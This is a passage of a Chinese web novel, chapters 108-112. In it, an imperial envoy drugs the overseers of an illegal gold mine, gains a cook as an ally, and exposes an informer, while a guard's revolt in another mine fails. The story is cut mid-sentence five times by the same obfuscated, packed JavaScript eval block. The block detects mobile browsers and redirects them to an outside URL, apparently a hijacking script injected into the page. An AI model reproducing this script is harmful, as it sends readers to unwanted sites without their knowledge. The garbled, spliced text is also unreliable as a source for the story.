没错,这是一块儿金矿原石。而他们之前下去挖的矿,是金矿!而且还是含量极高的富矿!大景朝律法,所有金银矿都属于陛下,属于国库!私自开采,那可是诛九族的大罪!可这些人不仅大肆开采金矿,还抓了那么多无辜之人为其开采。这金矿事关重大,想来背后之人也不敢托大,以至于被抓来的劳役,皆是有来无回,哪怕是死,也得埋在这处矿山!也是因此,魏渊的行为极其受限,但无论什么地方,都有不甘认命的人,这些苦役们本来都是有户籍的百姓,有自己的生活,有妻儿老少,就因为不小心路过就被抓来挖矿,哪怕死了也只是拖出去随地找个地方埋了,心中的恨意早已经沸腾如油,只需要一个微不足道的火星子就可以将之点燃! 再加上这次出来又没有后顾之忧,魏渊也就放开手去干了。就是有一点儿,或许是他看起来太能干太能打了,以至于这里的监工管事儿的对他看管的很是严格,刚开始来的时候那顿打打的他元气大伤,主要是打中了肺部,现在稍一用力就抽搐着疼,这病得养着,可如今这情形,根本没有时间给他好好修养! 如此下去,他的身体只会被拖垮,不能再这样下去了,得找到突破口。 虽然魏渊也不知道为什么陛下如此信任应九阙,可那对他来说无疑是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501260|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有利的。他相信以另外三人的本事此刻一定能好好活着,他要做的就是尽快和另外三人联系上,至少得知道他们的具体方位,否则他这护卫做的当真失职。 魏渊所不知道的是,此时此刻,九阙几个也在密谋搞事儿,他们总不能一直待在这矿场里给人看病或者做饭吧?通过勉强可以自由走动的谢明尘,三人已经制定好了计划,不管怎么说,他们得先从这矿场里活着出去,至少也要把他们在此地的消息通知给外人。有一点九阙他们倒是没有撒谎,陛下派来的人确实跟在他们身后,这是为了万无一失。毕竟来之前谁也不知道黔州到底什么情况,如果梁衡当真生有异心,保不准会狗急跳墙。 三天之后,需要的东西已经准备好,九阙一边帮忙做饭,一边密切注意周围的情况,等大家都来吃饭的时候,她面色和善的端上来少有的肉汤。这是杨辉几个监工抓来的兔子,肉都剃下来给他们吃了,剩下的骨头架子也没用,于是九阙就要了来,给这些苦命的劳役们煮个肉汤。其实那么多人吃饭,就那么几只兔子瘦巴巴的骨头架子,熬出来的肉汤肉味儿也有限,但对于已经很长时间没有吃过一星半点儿油味儿的劳役们来说,已经是无上美味。 因为连续几天都有肉汤喝,也不知道是不是错觉,众人的面色都好看了那么一分。本来连这几只骨头架子都不想给劳役们吃的监工们见状倒是不说什么了。毕竟这些热人吃好了,也 能多挖些矿。 至于小九那个女人为什么这么做,不过就是女人那点儿没什么大用的同情心。真是,若不是薛大夫有用,她也早就不知凋零到哪儿去了,现在竟然已经有了余力去同情别人,真是,可笑的很。 九阙知道那些监工看不起自己,她也不在意,只是尽量给大伙儿补充营养,就算待会儿闹起来他们不敢反抗,至少也要有自保的能力不被波及。 第一百零八章 嘘,都睡着了 九阙尽心尽力给他们熬肉汤,虽说里面加了许多野菜吃起来不甚美味甚至还有些苦,但大伙儿也不是不识好歹的人,对九阙相当友善。但短短几天时间,她又被盯得紧,也没什么时间跟大家相处,更不必说把先辈们常用的红色教育弄出来,只能保证在闹起来的时候不会被背后下黑手。 不过此刻,有人正盯着九阙,那人其实做的也不算隐蔽,从早上开始就魂不守舍的,这会儿炒菜还不小心烫伤了手。 “哎呦!” 听见动静,不少人下意识的回头看去,发现是王馍时,大部分都事不关己的转头,毕竟在大家眼里,王馍和杨辉是一对儿,天然就是一伙儿的,倒是杨辉和九阙走了过去,有些担心。 “你怎么样?还能动吗?” 杨辉皱着眉头看王馍手上被油烫伤的地方,一片红肿,已经开始起水泡了。那些吃不饱的苦力们的饭食早就已经做好,王馍做的是杨辉等人的,用的油多了些,这才会不小心烫伤。虽说也能活动,但看着毕竟不太雅观,还要给他们做饭呢,用这双手做,他有点儿吃不下去。 刚好看见九阙默默站在一边很担心的样子,于是直接交给她。 “今天的饭你来做。” “啊?我?” 九阙有些惊讶,连忙摆手拒绝。 “杨大人,我,我这笨手笨脚的,要是做出来不好吃怎么办?” “没事,我吃过你之前做的小菜,味道不错,弄熟就成,我们兄弟几个不在乎这个。再说了,还有你王馍姐,有什么不会的直接问她就成。” 见他都这么说了,九阙也只能‘勉强’答应,她本来还想找个机会参与其中,没想到天公作美,竟然直接交给她了。现在唯一的问题就是,王馍…… 王馍站在一边,有些泄气,语气也不太好。 “还愣着做什么?赶紧动手啊!想让他们等到什么时候?!” “是是,我这就开始。” 得益于九阙此前在这边帮忙的经验,做熟倒是简单的很,今日厨房这边还有从山上采下的野菜,这可跟苦力们吃的不同,精细着呢,据大夫说还有清热解毒的效果,之前牛二半死不活的,吃了这几天野菜,倒是精神了许多。 杨辉特意交代一句好好做这些野菜,九阙也不能置之不理啊,于是小心翼翼的摘洗干净,在锅中汆烫几下去除苦味,捞出来攥干水分备用。将一块儿上好的五花肉切片划入锅中,翻炒出油之后倒入酱豆,又翻炒片刻,等肉熟了,倒入野菜盐等调味料,不多时,一大盘热气腾腾香气扑鼻的野菜炒肉就出锅了。 闻着味道还相当不错,端上去的时候杨辉还忍不住赞叹。 “没想到小就你还做的一手好菜啊,这味道,简直绝了!” “哪里哪里,都是王姐姐教我,要不然我哪里能做出这样的菜?” 看着小九局促的模样,杨辉正想伸筷子,突然一顿,拿出一个碗拨了许多出来。 “来来来小九,这些给你吃,你也忙了这大半天了,累了吧?吃些肉,你可是咱们的功臣!” 这话说的就太过了,九阙也就是炒个菜而已,哪里就是大功臣了? 但这会儿也不知道是不是察觉了什么,周围那些原本等着吃肉的监工们齐刷刷的把眼睛盯上了九阙。 “是啊,你就尝尝吧,自己的手艺你还信不过吗?” 盛情难却,九阙推让了两次,就不好再推,只能拿过那碗野菜炒肉,本来准备端过去,但杨辉却制止了。 “别啊,咱又不是外人,你都在这里这么多天了,还害羞不成?要不就是心里有鬼?” 一边说,杨辉一边用警惕的眼神把九阙从头到尾打量了个遍,那叫一个不信任。其实九阙已经习惯,这杨辉可小心了,反正她来这些日子,就没见他吃过除王馍以外的人做的饭。看来他们也知道自己的身份和做过的那些事有多招人恨。 没办法,九阙只能端着碗站那儿吃了,直到半碗菜下肚,好一会儿过去,九阙丁点儿事儿没有,杨辉几个才算放松警惕,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501261|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过杨辉还是吃的少,草草几筷子就不吃了,从旁边熬着草药的锅里舀出一盆水,让兄弟们喝些。 “这草药现在还不多,先紧着咱们喝了,这里的天气怪得很,明明还是春天,却热的人头晕,多喝些,免得头痛。” “知道了杨哥。” “还真是多亏杨哥把薛大夫请过来,现在咱们有个头疼脑热的,都有大夫给咱们瞧了。以前在外面的时候过得还没这么滋润呢!” “唉,我也觉得,在这儿过得比以前好。” “哈哈哈……” 几人说话的声音传过来,九阙没说什么,只是端着碗去洗,路过灶台的时候被默不作声的人影吓了一跳,原来是王馍。 “王姐姐,你吃过饭了吗?手还疼不疼?” 王馍没有说话,只是安静的盯着九阙,九阙被盯得心里发毛,不知道对方这是什么章程,怎么不说话呢?还这么盯着自己?难道…… 结果王馍并没有多说什么,甚至遥遥的看了一眼杨辉几个,露出个奇怪的笑,然后就自顾自吃饭去了。 真是奇怪…… 九阙顿了 顿,然后忙自己的去了。也不知道是不是因为今儿的饭够味儿,大家伙儿吃了之后,都觉得腹中暖洋洋的。此刻太阳正烈,杨辉几个也没有强求那些苦力们必须在这种时候干活,以至于被那暖乎乎的太阳照着,大家伙儿昏昏欲睡。 这天气,还真适合好好睡一场…… 过了一炷香时间,整个矿场都陷入了寂静,除了不知从何处传来的鸟叫声,渐渐听不到人类活动的声音,低头一看,所有人都睡着了。 就在这全员寂静的时刻,角落里突然坐起一个人,左右看看,发现大家都睡熟了,眼睛一亮,悄悄看向杨辉几个,他们已经倒在桌子上,呼呼大睡,睡得比别人还香。 九阙嘴角扬起一个大大的笑容,三两步走上前去,抽出他们的腰带,将这些监工捆的结结实实的,以她的力气打出来的死结,保准这些人根本挣脱不开! 第一百零九章 是友非敌? 顺便把这些人都堆成了一座小山,九阙拍了拍手,直起腰,被突然出现在眼前的人吓了一跳。 那个直勾勾盯着自己看的不正是王馍吗?她没睡着? 九阙下意识握紧了手里的绳子,王馍不会武功,以她的力气可以轻而易举将对方捆起来,但此刻她却觉得对方的表情有点儿奇怪。王馍是讨厌自己吗?要不她怎么是这个表情?好像厌恶中带着痛恨,夹杂着激动,甚至还有……喜悦? 所以说王馍这会儿很高兴?她高兴什么? 九阙有些犹豫,不知道该不该开口。但王馍已经抬起那双黑漆漆的眼睛,复杂的盯着九阙看。 “这是你做的吧,是那锅菜?可杨辉并没有吃几口,但他还是晕了。” 见王馍没有恶意,九阙思忖了下双方的体力,叹了口气,不再隐瞒。眼睛看向那锅一直在熬着的草药汤。 王馍也顺势看了过去,这会儿恍然大悟。 “原来这才是迷药。这么说来,薛大夫跟你也是一伙的?” “当然。” 怪不得这些时日薛大夫从山上采了那么多的草药,原来都是给杨辉他们准备的。可怜他们还以为自己终于找到了一个信得过的大夫,但他们或许是高高在上的时间太长,以至于无法理解普通人的想法,难道他们忘了薛大夫等人都是被无辜抓来的过路人?难道他们放着自己好好的生活不过,愿意来这鸟不拉屎的地方? 真是可笑! 王馍当真笑了出来,在九阙奇怪的眼神中,她狠狠的搓了把脸,镇定下来之后坚定的表示。 “我来帮你,你需要什么?我对这里比你熟悉。” “我来的时候身上带的那些东西王姐姐知道在哪儿吗?我需要证明自己的身份。” “我给你拿。你来的时候,我把你身上那些太过显眼的东西都拿下来埋在山洞里,我现在就去。” 王馍的动作相当迅速,九阙还没反应过来,对方就已经急匆匆离开,片刻之后回来,手上还拿着个小小的包袱。九阙打开看了看,确实是自己身上的东西。 “多谢王姐姐,只不过你和杨辉你们不是……” 她怎么记得听之前那些大叔大婶儿们说过王馍和杨辉是一对儿呢?而且他们好像还是从同一个村子里出来的,情谊应该比她这个刚来没几天的人厚重,怎么现在会选择帮助自己?不仅仅是现在,在九阙刚来到这个矿场的时候,想来也是王馍把她身上那些太过贵重的东西取下,并且给她身上涂了厚厚的污泥,才没有让她在昏迷的时候就被矿场上的人看上。 所以王馍到底为何会帮她?九阙得确定这是个可以信任的人,不然,面对不可知的因素,她也得把对方绑起来。 王馍沉默一瞬,还是简单说了。 “可能是我们比较倒霉,我们整个村子本来就在这山脚下,虽然人数不多,但大家过的也算和乐。可是有一天官府的人把我们整个村子的人都迁进山里,不管男女老少都被逼着挖矿。我的父兄是被硬生生累死的。那时候杨辉明明也很累,他从小孤苦伶仃,是我们村子的人一起出力才把他抚养长大。可他后来却攀上了那些监工,为了更出色,他害了不知多少人!其中甚至还有我们村子里的长辈晚辈。渐渐的,他的位置越来越高,被他迫害致死的人却越来越多,想来你已经见过山洞里那些无辜的姑娘了?我们明明都是些普通的百姓,不能团结在一起反抗也就算了,为何还要背叛我们?退一万步讲,他就非得让那些无辜的人累死?就非得祸害那些可怜的姑娘?” 九阙之前就已经想过这或许是一个惨痛的故事,但在听到对方三言两语的讲述之后,还是觉得心里闷闷的。在他们不知道的情况下,整个黔州不知有多少村子,多少无辜之人被迫害,他们本来可以和和美美的度过这一生,却被迫参与到那些大人物的利益争夺之中。他们的一生或许极为平凡,甚至在那些大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501262|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人物眼中只是一个微不足道的数字。可他们也该有活着的权利! 不过此刻九阙想到了另一个可能,那就是杨辉会不会一直都在卧薪尝胆?毕竟只有他混的好了,王馍才能过得好。这群做饭的人里只有王馍一个年轻女子,剩下的都是些年纪大了的婶子。这不正是因为杨辉的照顾吗? “王姐姐你有没有想过杨辉可能是故意爬到现在的位置,是为了保护你?” “哈!” 王馍讽刺一笑。 “我以前也这样想过,可后来就不这样了。杨辉最开始的时候或许有为了我才与那些监工接触的想法。可财帛动人心,当体会到以前从来没有体会到的权利时,他就变了。” “或许男人都是这样,当他发现自己随意一句话就有很多人赞同拥簇,当他发现自己不过是随意动动手指就能掌握别人的生杀大权,他就不再是我认识的那个杨哥了,而是沉浸在掌握别人生死的权利里无法自拔的杨辉!” “你以为他帮我是顾念我们之前的那点儿情分吗?不,他帮我只是为了留一个能够见证他崛起的物件儿,毕竟从一个一无所有的穷小子到现在前呼后拥的杨监工,如果没有人见证,岂不是少了许多人生的乐趣?” “……他这兴趣有点儿……” “很恶心对吧?但没办法,谁让我是那个最了解他的人。这或许就是我苟活下来的代价吧,每天看着他,我都想在做的饭菜里下毒把他毒死!可他实在太过谨慎,或许知道自己招人恨,他总是让身边那群监工和自己一起吃饭,但实际上你只要仔细观察就会发现,虽然坐在同一桌上,可他每次不是借着喝酒就是借着说话的借口拖延时间,等其他人吃下去且没事儿之后他才会动筷子。所以我根本没法子毒死他,而要想杀了他又太难。我力气不大,而他绝对不会在不清醒的状态下跟陌生人住在一个地方。就算想偷偷刺死他也没法子,而这样生不如死的日子我过了整整两年!” 第一百一十章 恶意轻而易举 “两年啊,我最大的愿望就是亲眼看着他死!见到你的那一刻,我就知道这个机会来了,我在这矿场里待了这些年,南来北往的富人豪绅都见过,却从来没见过你身上那么好的布料,那料子看起来普通不显眼,但实际上光滑柔嫩无比,像极了传说中的贡品。所以那个时候我告诉自己必须得赌一把!而我很显然赌赢了。苍天不负我!” 王馍此刻的状态有些疯癫,她之前只是有些沉默寡言。或许是因为大仇即将得报,她一直紧绷着的心神松开,就有些支撑不住了。 九阙有些抱歉,因为现在还不能杀杨辉,她还得从对方口中辨认出更多的细节证据,关键时刻还得让这群监工当证人。跟王馍说这件事的时候,九阙再三保证。 “不过王姐姐你放心,我不会做蠢事,所以事先已经请薛大夫出手研制了一瓶毒药,喂给他们之后,如果三日之内得不到解药,他们就会七窍流血,五内俱焚,经过漫长的折磨之后才会被慢慢折磨死。毕竟我也担心在这途中他们侥幸逃脱,如此一来就算他们侥幸逃脱,最终也难逃一死。虽然这么说可能有些俗气,可是王姐姐,我想让他们得到大景律法的惩治,因为他们的所作所为触犯了大景律法。我们得让世上所有人都看着,做错了事犯了罪会有什么下场。同时也是给那些无辜死去的人报仇。” “王姐姐。我知道这对你来说有些难,但他们真的是很重要的人证。等这里的事情结束之后,我会上报朝廷定他们的罪,甚至可以请刑部官员帮忙让你做那个行刑人!所以暂时饶他们一条狗命,你同意吗?” 王馍一直都很沉默,可在听完九阙的话后却重重点了点头。 她不是是非不分之人,确实很想为自己的亲人报仇,但同样也知道自己的仇人不单单是杨辉。更是那些在背后操纵官府,把无辜之人抓到矿场里日夜不停挖矿的大人物!如果能借机把那些高高在上的大人物拉下马,才算是真正报了仇! 得到王馍的帮助之后,九阙的行动就越来越顺畅了,不多时,已然将整个矿场控制住,就在这个时候,之前经常在两个广场间来回走动的薛大夫终于找到了机会赶来,不过当他到的时候九阙已经和王馍两个将所有的监工都控制住,并且把那些私底下和监工关系不错的叛徒都抓了起来。 这方面还是王馍了解的更清楚,甚至之前那群做饭的大婶中对九阙态度很好的那位,曾经还给过她一块窝窝头吃的,竟然也是叛徒。从表面上根本看不出来,毕竟那位大婶和其他人一样,都是那么害怕。 这也是那些人的可怕之处吧。等人醒了之后九阙还沉痛的问过,刚开始的时候那大婶儿还死活都不敢承认,但是在王馍一一列举的事实面前,她不承认也得承认,只是在听到理由时,那位原本神情和善的大婶突然冷笑一声。 “理由?做坏事还需要理由?没有任何理由,我想做就这么做了,怎么着吧?” 九阙皱眉。 不仅是九阙,就连周围那些认识她的人都忍不住震惊,这杜大婶可是有名的和善人,青年守寡,也没个一儿半女的,周围人,包括她公公婆婆都劝她改嫁,因为和亡夫感情深厚,她就是不愿意。大家看她为人和善,侍奉公婆也尽心尽力,仁义周到,没人不夸她的,甚至村里还专门为她筹钱,让她能不那么劳累。 可就是这样一个十里八乡都认为最和软不过的人,竟然偷偷的告诉那些监工村子里有哪些长得漂亮的大姑娘小媳妇儿,眼睁睁看着她们被糟蹋!而她所做这一切竟然不要丝毫报酬! 听到她说这些往事,已经有清醒的人忍不住唾骂,甚至还要扑上来打她,因为她害的那些姑娘里就有他们的亲人啊! “你这个毒妇,我就说我家小侄女儿明明已经把脸涂黑,把身上弄脏,怎么还是被他们抓走?原来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501263|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是你报的信儿!你怎么忍心?!她可是你看着长大的啊!你可是她的长辈,我们没求你帮忙就是因为害怕连累你,可没想到你才是那个告密的罪魁祸首……到底是为什么?!我可怜的小侄女就那么无辜惨死了啊……” “我们村里的人有哪个对不起你?!逢年过节还会凑钱给你买米面粮油,甚至平时里还会每月给你送钱,让你能更好的生活,你就是这么报答我们的?你的良心都被狗吃了!” “这个恶女人……” 杜婶子只是冷笑不已。 “没有那么多为什么!我就是想这么做,我看不得她们活的那么滋润不成吗?我过的那么惨,她们却可以快快乐乐的在家人的庇护下活着,凭什么?既然我过的不开心,那所有人都不能开心!” “你,你这个恶毒的女人!当初你守寡是自己说的,又没人逼你守寡。甚至连你公公婆婆都劝你改嫁,是你自己不愿意!你现在又来怪我们做什么?难道是我们强逼着你守寡不成?!” 杜婶子只是冷笑一声。 “他们确实是劝我改嫁了,你们也没有逼我,可是你们没有言语上的威逼,就不是逼我了吗?但凡我跟那个男人走的近了些,总是会有人有意无意的提醒我寡妇的身份。哪怕我只是走在路上不小心碰了别人一下,你们就会用异样的眼神盯着我看,好像在说,看啊!那个寡妇怎 么那么不守妇道!我是个寡妇不假,我刚开始也是真心实意的想为我那死了的丈夫守寡。可我就算是个寡妇,我也是个人啊,难道就因为死了丈夫就不能过普通人应该有的日子?” “我记得清清楚楚,我只能伤心难过,哪怕我高兴点儿都会有所谓的德高望重之人过来指点,说我这么高兴可真是太不容易了。哈!我就像个傻子一样,我就只配这么傻乎乎的活着?” “呸!我偏不!我就是要闹得你们不得安生!” 第一百一十一章 意外事故 对于杜婶子的发言,众人极不赞同,不管她如何巧言令色,都无法磨灭她想看别人受苦的意思。这样以别人痛苦为饵料的人,简直丧心病狂! 当即就有几个女儿孩子被杜婶子连累致死的人扑上来,狠狠地打了她一顿,当然了,记得九阙的吩咐,他们没有把人打死,但那种深切的恨意,简直无法隐藏。 见这边的情况已经处理的差不多,九阙与谢明尘汇合,拿出自己藏在文牒里的令牌,证明了自己钦差的身份。登上高处,九阙放大声音。 “诸位,当今陛下英明果断,他已经知晓黔州知府梁恒做下的恶事,所以才派我等前来调查。如今,人证物证俱在,只需将其交给后面赶来的钦差队伍,立即就能将梁恒抓捕归案。但是在此之前,我需要诸位的帮助。这座矿场周围还有其他相邻矿场,我们如今掌握的,只有两座,若是在将罪证交给别人之前被发现,难免会有其他矿场里的管事将这里的情况告知给那些贼子。为了避免这种情况,所以接下来的时间,辛苦诸位先冷静下来,继续挖矿,继续产出,等和后续的钦差队伍联系上,咱们就得救了!” “我在这边给诸位保证,绝对会救大家出去,希望诸位能信我这一次!” 下面站着的人本来相当惶恐,他们在这里吃不饱穿不暖,每天还有死亡的威胁,好不容易得到出去的希望,还是得等待,这叫不少人内心惶恐,但大家又不是什么无知之人,都知道现在情况危急,再说了,难道现在冲出去就一定能活着离开?且不说这绵延不绝的大山如何出去,就算出去了,扳不倒梁恒,黔州地界里,他们又能逃出去多远?他们的身子根基在繁重的劳动中早就已经毁坏,缺银少粮的,又能跑出去多远? 这笔简单的账他们还是会算的。 于是大家纷纷赞同。 “应姑娘,我们听你的。” “对!咱们听应大人的!她能在这么短的时间里把杨辉他们扳倒,也能把咱们救出去!咱们还得留着这条命出去作证,不亲眼看着梁恒倒霉,心里这口气怎么出得了?” “就是!” 其实大家的要求很简单,就是把害了自己和家人亲人的罪魁祸首抓起来,该杀的杀该关的关,否则,他们也咽不下去这口气啊。 当然,为了让他们稳住情绪,九阙特意安排会写字的文人将大家伙儿的委屈记下来,这也是条物证。这果然是个好法子,原本还有些惶恐的人们在彼此的叙述中渐渐冷静下来,只是心中更添悲痛,对于那罪魁祸首也更为痛恨了。 而在安抚住了矿上的人之后,九阙迅速跟着谢明尘来到山上布置起来。 半日之后,淳于霜所在的矿场附近的一座大山发生了崩塌,那些有着上等朱砂含量的矿石从高处直直落下,砸在地上,溅起冲天高的红色烟尘。大家对于这场意外有些惊讶,但见没出人命,也没人受伤,也就不管了,主要是以前矿场上也出现过这样的意外事故,只不过没有像这次这样红色的烟尘冲天而起,飘的那么高,那么远。 心系一些的管是也派人上山看了,就是简单的矿石崩塌,而且这矿场里的人又没少,于是也就渐渐放下。以前也不是没出现过这样的事故,可就算这红色的烟雾飘到官道上去,整个泉州都是梁恒大人的,谁会那么不长眼去在意这点儿小事故? 还别说,真有! 崔逐风这几日找人都快找疯了,也亏得她武功卓绝才能撑下来。这时她正踩着高超的轻功四处寻找,敏锐的听觉让她听到一点不同寻常的动静,似乎有什么东西塌了,这巨大的声音让崔逐风忍不住联想起曾经在京城里见到的那场精妙绝伦的战斗。 当时也有这么震天动地的声响。当崔逐风登上高处看到那些飘散出来的红雾时,忍不住眯了眯眼。如今这时候爆发出来的动静,就算不是九阙他们闹出来的,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501264|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和矿场有关系。 “崔前辈!” 那些之前远远跟在九阙等人身后的护卫们这会儿跟上了崔逐风,眼巴巴的瞅着。谁懂啊?他们明明跟着自家大人,可没想到还没走到黔州的地界,应大人就消失了。来之前上峰们再三叮嘱,一定要保护好应县主。这下可好,应县主直接丢了好几天! 别说捞功劳了,回去之后指不定得被陛下如何惩罚,如今他们唯一能做的就是将功折罪。现在能指望的上的也就只有崔前辈了,毕竟崔前辈武艺卓绝,说不定能发现他们没发现的。 崔逐风对官府的人相当不喜欢,但这会儿事关九阙的安危,也只能简单的叮嘱一番,让他们跟上。一行人打点起精神,留下一小部分继续搜查留守上报京城,剩下的大多数都跟着崔逐风拼命赶路。他们若是早去一分,说不定就能救下应县主和另外三位大人。苍天啊!丢的大人里除了陛下再三叮嘱的应县主之外,还有一位是陛下身边的大红人,九福大总管的义子!另外一个看起来只是个小太医,但实际上是大名鼎鼎三世九公世家谢家的孩子! 这无论哪一个都金尊玉贵,就算把十个他们切切卖了都买不起。 遇上这种将功折罪的机会,大家伙儿的劲头那叫一个足。 同时听到这巨大动静的不仅仅是崔逐风,还有可怜巴巴在矿洞 里挖金矿的魏渊。听到这声动静,魏渊的第一反应就是应九阙弄出来的。毕竟她之前制造出来的霹雳弹动静就跟刚刚那声差不多。 “魏哥,这是地动了吗?” 身边那群在洞穴里面挖金矿的矿工们都紧张起来,这要是在地面上还能找个平坦的地方躲一躲,可他们现在可是在深逾数丈的矿洞里边儿。这要是遇上矿洞坍塌,他们躲都没地方躲去。就连那些经验丰富的老矿工们也紧张的不得了。 “要不咱们先上去吧?这种情况咱们也挖不了啊。” 第一百一十二章 反抗失败 不少人都意动了,魏渊也没制止,毕竟遇到这种情况谁都想保命,可没想到当他们一个个出去的时候,面对的却是管事儿的劈头盖脸的鞭子。 吃的浑身滚圆的管事的带着十几个狗腿子,手里的长鞭挥舞的虎虎生风,每一次落下,都有人身上皮开肉绽。打的众人就地打滚,哀嚎不止,就连刚露头的魏渊身上也挨了一下。露出来的结实臂膀上顿时出现一道血淋淋的痕迹。 魏渊忍不住皱了皱眉,这点儿疼痛他还是能忍的,就是这管事儿的又发什么疯? 这管事儿的本来就想找个机会杀杀魏渊的威风,刚好遇到矿石崩塌,见这些人没得到可以出洞的讯号就擅自出来,可算让他抓到了把柄。这姓魏的虽然有些运气本事,可桀骜的很,三番五次不把他放在眼里,如今逮到机会,管事儿的那叫一个兴奋,连手中的鞭子都挥舞的更加用力。 魏渊可不是能干站着挨打的主,若是陛下打他也就算了,陛下是他的主子,可面前这人算个什么东西?平日里连自己脚都挨不上的玩意儿,一朝落难竟把自己当成了主子不成?还拿着鞭子挥舞,当真是恶心人。 一把拽住那鞭子,狠狠用力,直接将鞭子抽了出来,管事儿的力气不足,险些一个踉跄趴在地上,周围那些原本愤怒不已的人群中发出几声嗤笑,管事儿的顿时脸憋得通红。他闹了这么大个笑话,心中更恨魏渊了。 “你算个什么东西?因着你能找来矿石才对你另眼相看,真以为到了这地界还是个主子?告诉你!到了我的地盘,是龙,你得给我趴着,是虎,你得给我卧着!给我上,抓住他。今儿我要不狠狠抽他三十鞭子,我就不姓黄!” “是!” 那些狗腿子也早就看魏渊不顺眼了。别以为他们发现不了,魏渊表面上装的沉默寡言,实际看他们的眼神高高在上,浑然不把他们放在眼里,这让作威作福惯了的狗腿子们怎么能高兴?早就盘算着给他点颜色看看了。 看到这种情况,周围那些矿工们目露惊恐,忍不住往旁边逃去,他们被这些人用鞭子打怕了,见他们手中挥舞长鞭,身体下意识的反应让他们往旁边儿逃跑。 魏渊伸手拽住了其中两根鞭子,将人狠狠拉倒。但他此前身体受了重创,尤其是腿上,这会儿稍微用力腿就钻心的疼,以至于下盘不稳。周围那些狗腿子观察他好几天了,自然知道他这个毛病,彼此使了个眼色,纷纷朝他腿部攻去。 都说双拳难敌四手,魏渊本来功夫了得,但在身受重伤的情况下还要面对二三十个人的围攻,当真相形见绌左右为难。 周围那些跟他达成共识的人看管事儿的准备把魏渊往死里打的架势,也不敢不管了,彼此使了个眼色,悄悄走到那些狗腿子身后,当那些人手里的鞭子再次落在魏渊身上时,早已经潜过去的众人狠狠扑了上去,顿时扭打成一团。 “你们敢?!反了天了你们是!来人!把刀剑拿过来!那些侍卫呢?用得着他们的时候不知道死哪儿去了?今天我要是不宰他七八个,我看这些人是皮痒!” 黄管事见这些被自己揉捏的不敢动弹的贱民们竟然敢起来反抗自己,顿时火冒三丈。金矿比其他朱砂矿要重要的多,因此这里的守备力量是最强的,不多时,几十个全副武装,手拿刀剑弓箭的高壮男人就赶了过来,看到他们过来,不少人露出了绝望的表情。 他们这群人忍饥挨饿,本来就没力气,更何况这些护卫每天好酒好肉吃着,身体健壮,甚至还有全套的兵器和盔甲。他们这些手无寸铁的人怎么可能打得过?在此之前,魏渊本来打算等这些护卫出去巡逻的时候动手,可谁也没想到今天会突发意外,更没想到那个黄管事会选择在今天对他们下手。 一切发生的太突然了,魏渊没有想到,这次的黔州之行他可以说太过狼狈,在此之前他从来没有吃过这样的苦头。魏渊此前一直为自己的身份无法得到陛下重用而郁郁不得志,直到真正面对生活的痛击,才发现自己以前那点儿郁闷简直是无病呻吟。 虽说此前学武的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 